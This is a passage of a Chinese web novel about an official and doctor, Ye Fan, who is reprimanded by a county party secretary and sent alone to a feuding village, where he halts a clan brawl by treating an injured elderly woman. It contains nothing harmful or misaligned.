叶凡,一石二鸟。
既用最低的成本解决了物资问题,又狠狠地敲打了钱大勇背后的利益链条。
吴兵看着叶凡,眼神里只剩下五体投地的崇拜。
会议结束,叶凡刚回到办公室,桌上的红色座机,就尖锐地响了起来。
他拿起听筒。
电话那头,传来一个沉稳、冰冷,不带任何感情的声音。
“叶凡同志吗?我是张海涛。”
叶凡的心,猛地一紧。
“张**,您好。”
“你到我办公室来一趟。”
说完,电话被“啪”的一声挂断。
风,真的来了。
这一次,是飓风。
第77章 杀鸡儆猴,谁是那只鸡?
县委**办公室在走廊的尽头,那扇厚重的红木门,此刻在叶凡眼里,像一只沉默巨兽的嘴。
电话里,张海涛的声音不带一丝温度,那种刻意压制后的平静,比咆哮更令人心悸。
**的秘书小王在电话里反复叮嘱的话在耳边回响:“李县长说,别怕,也别冲动。张**是位有格局的领导,他看重的是解决问题的能力。”
叶凡明白,这是**在给他打气,也是在提醒他,即将面对的可能是一场来自权力顶端的压力测试。
推开门,没有想象中的雷霆万钧。
张海涛的秘书只是点了点头,示意他进去,然后便悄无声息地带上了门。
办公室里异常安静。
张海涛没有坐在那张象征着权力的巨大办公桌后,而是站在窗边,手里拿着一个青瓷喷壶,正在给一盆君子兰浇水。
动作舒缓,一丝不苟,仿佛这盆花才是他世界的中心。
上一次来,还有茶。
这一次,只有沉默。
叶凡站在办公室中央,没有开口,也没有坐下。
他知道,先开口的人,气势上就输了半分。
他像一个经验丰富的猎人,在等待对手露出破绽。
“君子兰,娇贵。”张海涛终于开口,目光依旧没有离开那翠绿的叶片,“水多了,烂根;水少了,枯叶。有时候,为了让它长得更好,还得狠心剪掉一些看着不错的叶子,不然养分不集中,开不出好花。”
他的声音很平淡,像是在闲聊家常,但每一个字,都像小锤子,轻轻敲在叶凡的心上。
这是在敲打他。
张海涛放下喷壶,转过身,脸上再无上次那种公式化的微笑,取而代之的是一种深沉的审视。
他走到办公桌后,从一堆文件中,抽出了那份德发农资签下的合同,随手扔在桌上。
“叶凡同志,你很聪明。有时候,甚至太聪明了。”张海涛的指尖在合同上点了点,“这是你的杰作?”
叶凡的目光落在合同上,那上面赵德发的名字签得歪歪扭扭,透着一股不甘和恐惧。
“张**,我只是在履行项目常务副组长的职责。”
“职责?”张海涛的音量没有提高,但压迫感却陡然增强,“你的职责,就是把青川县的农资市场搅个天翻地覆?就是让一个在农业系统干了二十年的老同志,在全县干部面前抬不起头?就是让一个供应着全县一半农户的供应商,差点关门倒闭?”
一连串的质问,像**一样射来。
“你为县里省了几十万,很好。但这笔账,你只算了一半。”张海涛身体微微前倾,双手交叉放在桌上,目光如鹰,“你让钱大勇下不来台,让他背后的人怎么想?你让赵德发亏本做生意,他手下几十号员工的饭碗怎么办?他供应的那些村子,断了货怎么办?稳定!同志,稳定才是一切工作的基础!你这种做法,看着痛快,实际上是把我们内部的矛盾,公开化,尖锐化!这是在动摇我们青川县的稳定大局!这笔**账,你算过吗?”
这番话,比任何指责都更诛心。
它把叶凡所有的功劳,都定义成了“鲁莽”和“破坏”。
办公室里的空气仿佛被抽干了,令人窒息。
叶凡沉默了片刻,反而笑了。
他往前走了一步,离那张巨大的办公桌更近了些。
“张**,我还是想用医生的角度,来解释我的行为。”他的声音不大,却异常清晰,“一个病人,身体里长了个肿瘤,良性的。它可以和人共存很多年,看起来很‘稳定’。但它在一天天吸取病人的营养,让病人越来越虚弱。直到有一天,它恶化了,变成了癌症,到那时候,再想动手术,神仙也救不回来了。”
他看着张海涛的眼睛,没有丝毫退缩。
“德发农资,还有它背后的那套维保体系,就是我们青川县财政身上的那颗肿瘤。我承认,我的手术,动静大了点,可能流了点血,让病人暂时感到了疼痛。但是,张**,长痛不如短痛。切掉了肿瘤,病人才能真正恢复健康,才能真正地‘稳定’。”
“至于钱局长,如果他觉得没面子,那只能说明,他把个人的面子,看得比县里的利益更重。如果赵老板因为不能再赚取超额利润就活不下去,那只能证明,这种靠垄断和关系生存的企业,本就该被市场淘汰。”
“您说的**账,我也算过。”叶凡的语气平静而坚定,“我觉得,最大的**,是让人民满意。最大的稳定,是建立在公平和正义之上。用几十万的财政资金,去维护一个不健康的‘稳定’,去照顾一个干部的‘面子’,这笔账,恕我算不明白。”
张海涛死死地盯着叶凡,眼神锐利如刀,仿佛要将他从里到外剖开。
他第一次发现,自己竟然有些看不透眼前这个年轻人。
他身上没有官场老油条的圆滑,却有着比他们更犀利的武器——一种直指核心、不容辩驳的逻辑。
良久,张海牙忽然笑了,那笑声里带着一丝复杂难明的情绪。
“好,好一个‘切除肿瘤’。”他站起身,没有再纠缠于合同,而是踱步到那面巨大的青川县规划图前。
“既然你这么会做手术,那我这里,还有一个更棘手的病人,等着你这个神医。”
他的手指,重重地落在了地图上一个偏远的角落。
“红石峡。”
叶凡的目光顺着他的手指看去。
他知道这个地方,是青川县最穷、最乱、最难啃的一块硬骨头。
“红石峡的扶贫工作,搞了五年,县里投进去的钱,听不见半点响声。那里的村民,宗族势力盘根错节,为了争水争地,常年械斗,民风彪悍,油盐不进。上个星期,县里派去的工作组,被村民们拿着锄头扁担,给硬生生赶了出来,车都给掀了。”
张海涛转过身,看着叶凡,眼神里带着一种不容置疑的命令。
“我现在给你一个新的任务。示范园的工作,你暂时先放一放,交给吴兵他们。我给你一个新头衔
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——‘县重点疑难问题专项工作特派员’。你一个人,去红石峡。我不要你带工作组,也不给你拨一分钱的专项经费。”
他顿了顿,一字一句地说:“我要你,在两个月内,平息红石峡的争端,让他们把掀掉的车,给我们扶起来,摆正了!你这把手术刀,不是很快吗?去吧,去把红石峡这个几十年的老病灶,给我切了!”
这哪里是任务,这分明是流放。
一个虚无缥缈的头衔,一个孤身一人的特派员,去面对一个连工作组都被赶出来的混乱之地。
成了,功劳是领导的运筹帷幄;败了,就是你叶凡无能,自取其辱。
张海涛在用一种最酷烈的方式,告诉叶凡:在青川,是他说了算。
你想当能臣,可以,那就去干别人干不了的脏活、累活、死活。
叶凡的心,沉到了谷底。
但他知道,他没有退路。
此刻后退一步,他在青川县辛苦建立起来的一切,都将化为泡影。
他深吸一口气,抬起头,迎向张海涛那审视的目光。
“好。”
只有一个字,掷地有声。
张海涛的眉毛微微挑了一下,显然没料到他会答应得如此干脆。
叶凡继续说道:“张**,医生的天职,就是去最危险的病房,救最危重的病人。这个任务,我接了。”
他话锋一转,不卑不亢地提出了自己的条件:“但是我有一个请求。在我处理红石峡问题的过程中,只要我的方法在法律和政策允许的框架内,是为了解决问题,为了当地百姓好,我需要县委给我撑腰。无论我得罪了谁,触犯了谁的利益,我需要您,做我最坚实的后盾。”
他把张海涛的话,变成了一面盾牌,反过来挡在了自己身前。
张海涛看着他,沉默了足足十几秒。办公室里的空气,仿佛都凝固了。
“可以。”张海涛终于开口,声音里带着一丝欣赏,“只要你能把事情办成,在红石峡,你叶凡,就代表我张海涛。放手去做!”
……
从县委大楼里走出来,午后的阳光有些刺眼。
叶凡站在台阶上,回头望了一眼那栋威严的建筑,心中一片澄明。
张海涛的敲打,像一场突如其来的飓风,没有将他吹倒,反而将他吹向了一片更广阔,也更凶险的海域。
红石峡。
那将是他在青川县,真正的第一场硬仗。
他掏出手机,没有给**汇报,而是给苏沐秋发了条信息。
“病人情况比预想的复杂,主治医生决定,亲自深入病灶,进行长期观察治疗。短期内,可能没法请你吃水煮鱼了。”
手机很快震动起来,苏沐秋的回复,只有简短的六个字,和一个表情。
“注意安全,等你。”
后面,是一个紧握的拳头。
叶凡笑了,胸中那股被压抑的郁气,一扫而空。
他迈开脚步,走向自己的那辆桑塔纳。
前路是龙潭还是虎穴,去了,才知道。
第78章 龙潭初探,恶水泼面!
叶凡被任命为“县重点疑难问题专项工作特派员”的消息,没有**,没有公开宣布,像一颗投入深潭的石子,只在极小的范围内荡开了一圈涟漪。
农业局的吴兵科长等人听到消息时,一个个目瞪口呆。
项目刚有了起色,主心骨就被抽走了?
他们想不通,但看着叶凡平静交接工作的样子,又不敢多问。
**的秘书小王,在叶凡出发前,特意把他拉到一边,塞给他两条市里才有的好烟和几盒茶叶。
“叶特派员,”小王苦笑着,把那个虚无缥缈的头衔念得格外别扭,“李县长说了,张**这是阳谋,你躲不开。县长现在不方便出面,但他让我转告你,青川县政府,永远是你的后盾。”
这话说得艺术,意思是:精神上支持你,但实际帮助,暂时给不了。
“替我谢谢县长。”叶凡把东西放进自己那辆半旧桑塔纳的后备箱,“也告诉他,我这趟去红石峡,不是去扶贫,是去治病。治病嘛,我熟。”
小王看着叶凡脸上那抹淡然的笑意,不知为何,心里那点担忧竟也散去了不少。
他觉得,张**可能把一把最锋利的手术刀,扔进了一团最混乱的线团里,最后,被割开的,还指不定是谁。
桑塔纳驶出县城,柏油马路渐渐变成了颠簸的水泥路,再往前,就只剩下坑坑洼洼的土路。
车窗外的景色,也从整齐的田野,变成了荒凉陡峭的群山。
空气里开始弥漫着一股潮湿的、草木腐烂的气息。
红石峡,名副其实,两侧是赭红色的陡峭山壁,像两扇巨大的门,将里面的一切与外界隔绝开来。
唯一的通道,就是车轮下这条被雨水冲刷得沟壑纵横的土路。
车子刚拐过一个山口,前方豁然开朗,一个村落的轮廓出现在眼前。
土坯墙,黑瓦房,炊烟袅袅,看起来倒也宁静。
只是,村口的气氛却和这份宁静格格不入。
路中间,横七竖八地摆着几块大石头,旁边还歪倒着一辆被砸得不成样子的自行车。
十几个精壮的汉子,扛着锄头,拎着铁锹,或蹲或站,堵在村口,眼神警惕地盯着叶凡这辆陌生的“铁盒子”。
为首的一个年轻人,约莫二十五六岁,个子很高,皮肤是常年暴晒下那种黝黑的酱色。
他穿着一件洗得发白的旧T恤,肌肉贲张,额角上有一道刚结痂不久的伤疤,让他整个人看起来有股生人勿近的悍勇之气。
叶凡将车停在石头路障前十几米的地方,熄了火。
他没有急着下车,只是坐在车里,静静地观察。
那些汉子,看似懒散,但站位很有讲究,隐隐形成了一个半包围的阵型。
每个人的眼神都像狼一样,死死锁定着他这唯一的“猎物”。
叶凡推开车门,走了下来。
他一下车,对方的阵势立刻绷紧了。
那个带头的年轻人,把手里的铁锹往地上一顿,发出一声闷响。
“干啥的?”声音又冲又硬,带着浓重的本地口音。
“路过,车子没油了,想进村里讨口水喝,顺便问问哪有加油站。”叶凡脸上挂着无害的微笑,手里空空如也,表现得像个迷路的普通司机。
“没油?”年轻人上下打量着叶凡,眼神里的怀疑不加掩饰。
叶凡穿得太干净了,白衬衫一尘不染,和这满是尘土的环境格格不入。
“这前不着村后不着店的,方圆五十里都没有加油站,你往这儿开什么车?”
“就是嘛,城里来的干部吧?”旁边一个矮个子阴阳怪气地开了口,“上个星期刚赶走一波,又来一个?我们这儿不欢迎你们,赶紧滚!”
“滚!”
“滚出去!”
人群开始骚动,几个人往前逼近了几步,手里的农具攥得更紧了。
叶凡依旧站着没动,目光落在为首那个年轻人的脸上,更准确地说,是落在他额角那道伤疤上。
“你这伤口,是五天前被钝器砸的吧?”叶凡开口了,声音不大,却清晰地传到每个人耳朵里。
年轻人愣住了。
“伤口不深,但是处理得不好。边缘有红肿,说明已经感染了。你这两天,是不是一到下午就觉得头晕,浑身发冷,但是又不出汗?”叶凡继续说,语气像是在和老朋友聊天。
年轻人脸上的凶悍,瞬间被一种错愕和惊疑所取代。
他下意识地摸了摸额角,叶凡说的症状,一字不差。
“你……你怎么知道?”
“我是医生。”叶凡指了指自己的脑袋,“看病是我的专业。你这种叫创口感染引起的全身性炎症反应,再拖下去,高烧不退,会烧坏脑子。到时候,就算人救回来了,也得变成个傻子。”
这话一出,周围的村民都安静了下来,面面相觑。
他们听不懂什么“炎症反应”,但“烧坏脑子”、“变成傻子”这几个字,他们听得懂。
“你吓唬谁呢!”年轻人色厉内荏地吼了一句,但底气明显不足了。
叶凡没理他,目光又转向了他旁边那个阴阳怪气的矮个子。
“你,有十年的烟龄了吧?每天早上起来,是不是咳得特别厉害,有时候痰里还带血丝?”
矮个子脸色一变,嘴巴张了张,没说出话来。
“还有你。”叶凡指向另一个抱着胳膊的汉子,“你这胳膊,是习惯性脱臼。天气一变,整个肩膀就又酸又疼,对不对?”
叶凡每点出一个人,那人的脸上就多一分震惊。
他就像一个算命先生,三言两语,就把这些村民隐藏最深的毛病,给揭了个底朝天。
村口那剑拔**张的气氛,在叶凡这番“望闻问切”之下,被瓦解得无影无踪。
村民们看他的眼神,从敌视、警惕,变成了好奇、敬畏,甚至还有一丝期待。
“你……你真是医生?”为首的年轻人终于放下了手里的铁锹,语气软了下来。
“如假包换。”叶凡笑了笑,“江城市第三医院,心外科,主治医生叶凡。”
他没提自己那个可笑的“特派员”头衔,只说了自己最根本的身份。
就在这时,村子深处传来一阵嘈杂声,一个拄着拐杖、头发花白的老头,在几个中年人的簇拥下,走了过来。
老头看起来七十多岁,但眼神锐利,腰板挺得笔直,脸上沟壑纵横,写满了岁月的风霜。
“闹什么闹!吵吵嚷嚷的,像什么样子!”老头一开口,中气十足。
刚才还凶神恶煞的年轻人,立刻像老鼠见了猫,低下了头。
“三公,这人……这人……”年轻人想解释。
老头没理他,一双鹰隼般的眼睛,在叶凡身上来回扫视。
“城里来的医生?”
“老人家好,我叫叶凡。”叶凡不卑不亢。
老头盯着他看了半晌,忽然冷笑一声:“医生?我们红石峡,什么都缺,就是不缺病。可我们看不起病,也信不过外来的医生。上一个说来给我们送医送药的,转头就
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把扶贫款吞了。你走吧,我们这儿,不欢迎你。”
这老头,显然是村里的主心骨,一句话,就给叶凡定了性。
叶凡知道,跟这种人讲道理是没用的。
他笑了笑,说:“老人家,我今天来,不送医,也不送药。我就是路过,想跟您打听个事。”
“什么事?”
“我听说,你们把县里工作组的车给掀了?”叶凡问得直接。
这话一出,所有村民的脸色都变了,重新戒备起来。
老头的眼神也冷了下来:“是又怎么样?你想给他们出头?”
“不。”叶凡摇了摇头,“我就是好奇,那车,后来怎么样了?”
老头一愣,没明白他这话的意思。
“我的意思是,”叶凡脸上的笑容更深了,“那车,是东风牌的吧?前保险杠要是撞坏了,修一下得八百。左侧车门凹陷,钣金加喷漆,一千二。要是发动机进了水,那可就麻烦了,大修至少一万起步。你们这么一掀,几万块钱,可就没了。”
他看着目瞪口呆的村民,慢悠悠地补充道:“这笔钱,县里肯定是要追偿的。到时候,是从村里的集体收入里扣呢,还是摊派到每家每户?一家几百块,对你们来说,也不是小数目吧?”
他这番话,没有一句指责,全是在“替”村民们算经济账。
刚才还同仇敌忾的村民们,此刻你看我,我看你,眼神里都多了一丝慌乱和盘算。
老头的脸色变得铁青。
他死死地盯着叶凡,仿佛想从他脸上看出一朵花来。
他叱咤红石峡几十年,第一次遇到这样的人。
不按常理出牌,三言两语,就将他辛辛苦苦建立起来的攻守同盟,给戳出了一个窟窿。
“你到底想干什么?”老头的声音,干涩沙哑。
“我不想干什么。”叶凡摊了摊手,一脸无辜,“我就是个医生,职业病,看见什么都想分析分析。既然老人家不欢迎,那我走就是了。”
说完,他真的转过身,拉开车门,坐了进去。
在所有人复杂的目光中,桑塔纳发出一声轰鸣,缓缓掉头,沿着来时的路,开了回去。
看着那辆车消失在山口,村口的村民们,一时间竟不知道该做什么。
“三公,就……就这么让他走了?”带头的年轻人,忍不住问。
老头没有回答,只是死死地盯着叶凡车子离去的方向,眼神阴晴不定。
半晌,他才从牙缝里挤出几个字:“这人,跟以前那些草包,不一样。去,派人盯着他,看他到底在耍什么花样!”
……
叶凡并没有走远。
他将车开出两三公里,拐进了一个隐蔽的山坳里,停了下来。
从这里,正好可以俯瞰整个红石峡村落的全貌。
他从后备箱里,拿出了小王塞给他的茶叶,用保温杯泡了一杯,然后又拿出一个望远镜和一个笔记本。
张海涛让他一个人来,不给钱,不给人,就是想看他出丑,看他被这潭死水淹死。
但张海涛忘了一件事。
外科医生在做一台高难度手术前,最重要的一步,不是冲进手术室,而是长时间、多角度的观察。
通过CT、核磁共振、穿刺活检,彻底摸清病灶的大小、位置、血供,以及和周围组织的关系。
现在,红石峡就是他的病人。
而他,已经找到了最佳的观察位。
他拧开杯盖,喝了口热茶,举起了望远镜。
手术,才刚刚开始。
第79章 望闻问切,病灶初显!
叶凡没有急于行动。
在心外科,一台超过十小时的复杂手术,术前的观察和准备工作,往往需要几天甚至几周。
主刀医生必须像了解自己的掌纹一样,了解病人的每一根血管、每一寸组织。
红石峡,就是他现在要主刀的病人。
而他,正拿着最好的“影像设备”——一副军用望远镜,进行着最细致的术前观察。
他在笔记本上画了一张草图,那是红石峡村的简易地图。
村子不大,百来户人家,沿着一条从东向西流淌的小溪,分成南北两片。
北边靠山,屋舍密集,看起来更富裕些,村口那群汉子,大多住在那边。南边靠河滩,房子稀疏破败。
叶凡的望远镜,牢牢锁定着那条溪流。
这是村里唯一的水源。
他很快就发现了问题。两岸的村民,泾渭分明。
北岸的人,在小溪的上游取水、洗菜。
而南岸的人,只能在下游,用着他们用过的水。
上午九点,一个北岸的女人,拎着一大桶刚杀完鸡的血水,毫不犹豫地“哗啦”一声,倒进了溪里。
猩红的液体顺流而下,染红了下游的河道。
正在下游提水的一个南岸妇女,猛地将水桶摔在地上,指着上游破口大骂。
上游的女人叉着腰,毫不示弱地骂了回去。
一场争吵,迅速演变成两个家族妇女的对骂。
叶凡的嘴角反而露出了一丝笑意。
病灶,找到了。
张海涛说,红石峡宗族势力盘根错节,为争水争地,常年械斗。
现在看来,这条小溪,就是矛盾的**。
他将望远镜的焦点,对准了村口那个带头的年轻人,昨天被他诊断出伤口感染的那个。
年轻人名叫石磊,叶凡听见别人这么喊他。
此刻,石磊正带着几个兄弟,在村北的一块空地上操练,打熬筋骨,练的都是些庄稼把式,但一招一式,透着股狠劲。
叶凡注意到,石磊时不时会抬头,朝自己这个方向的山坳扫一眼,眼神里充满了警惕。
看来,那个叫“三公”的老头,已经派出了哨兵。
叶凡毫不在意,甚至还悠闲地给自己又续了一杯热茶。
他就像一个经验丰富的狙击手,在开枪之前,有的是耐心。
观察持续了一整天。
叶凡的笔记本上,多了许多新的标记。
谁是村北“石家”的人,谁是村南“王家”的人;谁家的烟囱最先冒烟,说明家有老小;谁家的男人跛着脚,可能是陈年旧伤。
他甚至通过观察村民晾晒的衣物,大致判断出了每户人家的经济状况。
一个优秀的外科医生,就是从这些看似无关的细节中,拼凑出病人的完整画像。
傍晚,夕阳将整个峡谷染成了温暖的橘红色。
叶凡正准备收起东西,回车里将就一晚,村子里突然爆发出一阵激烈的争吵声,比上午那次,激烈了十倍。
他立刻举起望远镜。
出事地点,还是在那条小溪边。
石磊带着七八个石家的壮汉,和另一伙人对峙着。
对方为首的,是一个精瘦的汉子,手里拎着一把柴刀,正是昨天那个被叶凡点出有“习惯性脱臼”的人。
“王老二!我再跟你说一遍,这磨盘是我们石家的祖产,你们凭什么占了去?”石磊的声音,远远传来,带着一股怒气。
“放**屁!”王老二把柴刀往地上一插,“这磨盘就在溪边,谁用就是谁的!你们石家霸着上游的水就算了,还想把磨盘也霸了去?欺负我们王家人死绝了吗?”
“找死!”
石磊身后的一个年轻人,血气方刚,抄起一根木棍就冲了上去。
场面瞬间失控。
两个宗族,几十号人,抄着锄头、扁担、木棍,混战成一团。
叫骂声、哀嚎声、器物碰撞声,响彻整个山谷。
叶凡的眉头,紧紧皱了起来。
这不是普通的村民械斗,这是积压了几代人的仇恨,在这一刻的集中爆发。
他看到,村里的老弱妇孺,都躲得远远的,脸上是麻木和恐惧。
而那个被称为“三公”的石家老头,就拄着拐杖,站在村北的高地上,冷冷地看着这一切,像一个在欣赏斗兽的将军,没有丝毫要阻止的意思。
叶凡明白了。
这种可控的“械斗”,或许正是三公用来巩固自己权威,凝聚宗族人心的手段。
就在这时,异变突生。
混战中,王老二被人一锄头砸中了肩膀,他惨叫一声,那条胳膊以一个诡异的角度耷拉了下来——习惯性脱臼,又犯了。
他疼得满地打滚,瞬间失去了战斗力。
石家的人士气大振,步步紧逼。
王家这边,一个六十多岁的老妇人,看到儿子被打,哭喊着冲了上去,想用身体护住儿子。
混乱中,不知是谁推了她一把,老妇人脚下一个踉跄,仰天摔倒,后脑勺重重地磕在了一块石头上。
她抽搐了两下,便一动不动了。
“娘!”
王老二发出一声撕心裂肺的悲鸣,也顾不上肩膀的剧痛,连滚带爬地扑了过去。
混战,戛然而止。
所有人都被这突如其来的一幕惊呆了。
打架归打架,但要是出了人命,那事
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情的性质就全变了。
石磊的脸色也白了,他没想到会闹成这样。
几个王家的村民,颤抖着手,去探老妇人的鼻息。
“没……没气了!”
“**!石家人**了!”
恐慌,像瘟疫一样在人群中蔓延。
高地上的三公,脸色也终于变了。
他猛地将拐杖往地上一顿,厉声喝道:“都住手!”
可是,晚了。
王家的人,眼睛都红了。
他们看着倒在地上的亲人,又看着对面毫发无伤的石家人,那股被压抑了多年的**和愤怒,彻底爆发了。
“跟他们拼了!”
“杀了他们,给我娘报仇!”
王老二从地上捡起那把柴刀,疯了一样冲向石磊。
一场械斗,即将演变成一场血流成河的**。
叶凡放下望远镜,眼神冰冷。
他等的,就是这个时刻。
一个濒临死亡的病人,只有在心跳停止的瞬间,用电击除颤,才有可能起死回生。
现在的红石峡,就是那个心跳即将停止的病人。
他从后备箱里,拿出那个从未离身的急救箱,没有丝毫犹豫,大步朝着山下的村落冲去。
他不是去拉架的,也不是去评理的。
他是去救命的。
当叶凡像一阵风似的出现在械斗现场时,所有人都愣住了。
王老二那把高高举起的柴刀,停在了半空中。
石磊那张惊慌失措的脸,写满了错愕。
所有人的目光,都聚焦在这个穿着干净白衬衫的陌生人身上。
他看起来与这里的暴力和混乱格格不入,却又有一种让人无法忽视的气场。
“不想让她死,就都给我让开!”
叶凡的声音不大,却像一把锋利的手术刀,瞬间划破了现场那癫狂暴戾的气氛。
他没有看任何人,径直走到那个倒地不起的老妇人身边,跪了下来。
他的手指,闪电般地搭在了老妇人的颈动脉上。
一秒,两秒,三秒。
他的眉头,微微一挑。
还有搏动,虽然微弱。
紧接着,他掰开老妇人的眼皮,看了看瞳孔。
没有散大。
“人还活着。”
他吐出四个字,像是在宣布一个神圣的判决。
整个山谷,死一般的寂静。
所有人都屏住了呼吸,看着这个突然出现的“神医”。
“但是,再耽误一分钟,就真的没救了。”
叶凡抬起头,目光扫过全场,最后,落在了那个还举着柴刀的王老二脸上。
“你是想现在给你娘报仇,还是想让她活过来,你自己选。”
第80章 手术刀下,恩怨暂平!
王老二举着柴刀的手,在半空中凝固了。
那双因为愤怒和悲恸而充血的眼睛,死死地盯着叶凡,仿佛要从他平静的脸上,分辨出这句话是救命的稻草,还是更恶毒的谎言。
报仇,还是救娘?
这个选择,像一柄重锤,狠狠砸进了他被仇恨烧昏了的脑子里。
全场死寂,只有风吹过峡谷的呜咽声。
所有人的目光,都聚焦在这两个男人身上。
一个,是即将掀起血海的复仇者;一个,是空降于此的神秘医生。
“咣当——”
一声脆响,打破了凝固的空气。
王老二手中的柴刀,脱手落地,砸在坚硬的石头上,溅起一星火花。
他像被抽干了所有力气,噗通一声跪倒在地,朝着叶凡,用一种近乎哀求的、沙哑到极致的声音嘶吼:“救她!求你……救我娘!”
叶凡没有理会他的哀求,救人,是他作为医生的本能,不是交易。
他头也不回,声音冷静而急促,带着不容置疑的命令口吻:“石磊!”
被点到名的石磊,浑身一震,下意识地站直了身体。
“你,还有你,过来!把人平抬起来,记住,脖子和身体要保持在一条直线上,绝对不许晃动!”叶凡指着石磊和他身边另一个最强壮的汉子。
两个刚刚还打得你死我活的石家壮汉,此刻竟没有丝毫犹豫,立刻上前。
“其他人,都退后五米,保持空气流通!”叶凡的声音扫过全场。
村民们,无论是石家的还是王家的,都下意识地向后退去,自动围成了一个巨大的圈,将最中心的位置,留给了这个临时搭建的“手术台”。
叶凡打开急救箱,动作快如闪电。
听诊器、血压计、手电筒、纱布、绷带……一件件专业的医疗器械,被他有条不紊地摆在地上。
他先是用手电筒再次检查老妇人的瞳孔,确认对光反射依然存在。
然后,他小心翼翼地解开老妇人的衣领,手指轻轻地在她的颈椎上探查。
“颈椎没有明显错位,但不能排除骨裂的可能。”他一边检查,一边像是在自言自语,又像是在给周围的人解释,“后脑着地,最怕的是颅内出血和颈椎损伤。任何一点错误的移动,都可能造成二次伤害,导致瘫痪甚至死亡。”
石磊和另一个汉子听得冷汗直流,抬着老妇人的手,更是稳如磐石,连大气都不敢喘。
“三公,这……”村北高地上,有人在石三公耳边低语,“这小子,邪乎得很,咱们……”
石三公没有说话,只是拄着拐杖,一步步走了下来。
他那双鹰隼般的眼睛,死死盯着叶凡的每一个动作,眼神里充满了审视和怀疑。
叶凡测完血压,低得吓人。
他从急救箱里拿出一支注射器,抽了一管肾上腺素。
“你要干什么?”石三公终于走到了圈边,声音冰冷地开口,“我娘们儿的命,不是给你拿来瞎摆弄的!”
叶凡连头都没抬,右手稳稳地将针头扎进了老妇人手臂的静脉里,缓缓推注。
“我是在救她的命。”他淡淡地回答,“除非您是脑外科的专家,否则,请保持安静。”
“你!”石三公被噎得满脸通红。他横行红石峡几十年,还从没人敢用这种口气跟他说话。
但叶凡身上那股专注、专业、不容置疑的气场,却像一堵无形的墙,让他所有的威严和质问,都显得那么苍白无力。
就在这时,一直昏迷不醒的老妇人,喉咙里突然发出一声微弱的呻吟,眼皮也轻轻颤动了一下。
“动了!动了!”
“我娘动了!”王老二第一个看到,激动得涕泪横流,就要扑上来。
“别动她!”叶凡厉声喝止,声音不大,却让王老二瞬间定在原地。
这一声呻吟,像是一道惊雷,在所有村民的心里炸响。
他们看向叶凡的眼神,彻底变了。
从怀疑、警惕,变成了震惊、敬畏,甚至……崇拜。
这哪里是医生,这简直是能起死回生的活神仙!
石三公也愣住了,他看着老妇人那微弱的反应,张了张嘴,一个字也说不出来。
他知道,从这一刻起,他在这村里的权威,第一次受到了动摇。
叶凡拔出针头,用酒精棉签按住针口,沉声说道:“命是暂时保住了,但情况很危险。初步诊断是重度脑震荡,伴有颅内压升高,不排除有硬膜下血肿的可能。这里没有CT机,我没办法确诊。必须马上送去县医院,立刻!”
县医院?
这个词让刚刚燃起希望的村民们,心又沉了下去。
去县医院的路有多难走,他们比谁都清楚。更何况……
“可……可是路……”一个村民结结巴巴地说。
叶凡站起身,拍了拍膝盖上的尘土。他的
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目光,缓缓扫过在场的每一个人,扫过石磊那张惊魂未定的脸,扫过王老二那张混杂着希望和绝望的脸,最后,落在了村口那堆作为路障的巨石上。
“我的车,就在村口外面。桑塔纳,后排座椅放倒,可以当临时的担架床。”
他顿了顿,语气平静,却字字千钧。
“从这里到村口,走路要五分钟。你们把路障清开,最快也要二十分钟。也就是说,我们有二十五分钟的窗口期。老太太的命,现在就在和时间赛跑。”
“如果因为路不通,耽误了抢救,人死在半路上……”
叶凡的目光,最终定格在石磊和王老二的脸上。
“这个责任,你们俩,还有你们身后的石家和王家,谁来承担?”
他没有怒吼,没有指责,只是把一个冰冷残酷的现实,摆在了所有人面前。
前一刻,他们还在为宗族的恩怨械斗;这一刻,一条人命的重量,沉甸甸地压在了每一个人的心头。
而造成这一切延误的根源,正是他们亲手设下的路障。
石磊和王老二对视了一眼,那眼神里,没有了仇恨,只有一种共同的焦灼和悔恨。
“还愣着干什么!”石磊第一个反应过来,他朝着身后的石家汉子们,用尽全身力气怒吼,“都他妈是**吗?跟我去搬石头!”
说完,他第一个朝着村口冲了过去。
“王家的,都跟我来!”王老二也从地上一跃而起,擦干眼泪,带着王家的男人们,紧随其后。
于是,红石峡出现了有史以来最魔幻的一幕。
几十个刚刚还打得头破血流、不共戴天的壮汉,此刻却像一支纪律严明的队伍,疯了一样冲向村口。
他们用手抬,用肩扛,用木棍撬,拼尽全力,去清除那些他们不久前才费尽心机堆起来的障碍。
“一、二、三,起!”
一块上千斤的巨石,在十几个汉子的齐声怒吼中,被缓缓推动。
石磊和王老二,一个在左,一个在右,肩膀并排,一同抵着冰冷的石头,汗水浸透了他们的衣衫,手臂上青筋暴起。
叶凡站在原地,冷眼看着这一切。
他知道,他今天这台“手术”,切开的不仅仅是一个老妇人的头皮,更是红石峡几代人积累下来的、那颗名为“宗族隔阂”的毒瘤。
血,已经流出来了。
接下来,就是最关键的清创和缝合。
第81章 一诺千金,约法三章!
峡谷里,回荡着粗重的喘息和石块摩擦地面的刺耳声响。
几十个汉子,汗流浃背,脸上的泥土和汗水混在一起,没人去擦。
前一刻还恨不得将对方脑袋开瓢的仇人,此刻却将后背交给了彼此。
一块棱角分明的巨石下,石磊和王老二的肩膀死死抵在一起,肌肉虬结,脖子上青筋暴起,两人对视一眼,同时发出一声怒吼。
“起!”
那块堵在路中央最大的石头,在几十人的合力下,被硬生生挪开了半米。
叶凡抱着双臂,静静地站在不远处,像一个监工,更像一个考官。
他的眼神很平静,没有催促,也没有赞许,但正是这种平静,让在场的每一个人都感到一种无形的压力。
不到二十分钟,那条被堵死的村路,奇迹般地恢复了通畅。
“路……通了!”石磊跑到叶凡面前,胸膛剧烈起伏,声音嘶哑。
王老二也紧跟着跑过来,满脸的焦急和期盼,嘴唇哆嗦着,却一个字也说不出来。
叶凡点点头,没有半句废话,转身走向躺在地上的王家老妇。
“担架!”
立刻有人从家里拆下两块门板,临时做成一个简易的担架。
“石磊,你,还有你。”叶凡指了指石磊和王家那边一个最壮实的汉子,“你们两个,过来抬前面。记住,慢一点,稳一点,脚下生根。”
被点到的两人都是一愣,让仇家抬自己的娘?王家的汉子脸上露出迟疑。
“怎么?怕他使坏,把你娘颠下山崖?”叶凡的目光扫过王家汉子,“还是说,你觉得你一个人,比他们两个加起来还稳?”
那汉子被问得满脸通红,不再言语,默默地和石磊一起,抬起了担架的前端。
小心翼翼地将老妇人抬到桑塔纳旁,叶凡打开后车门,指挥着众人将人安置进去。
“叶医生,我……我跟您一起去!”王老二急切地说道。
“我也去!路上也好有个照应!”石磊也立刻表态,他知道,今天这事是他石家理亏,要是不拿出点态度,这梁子就结**。
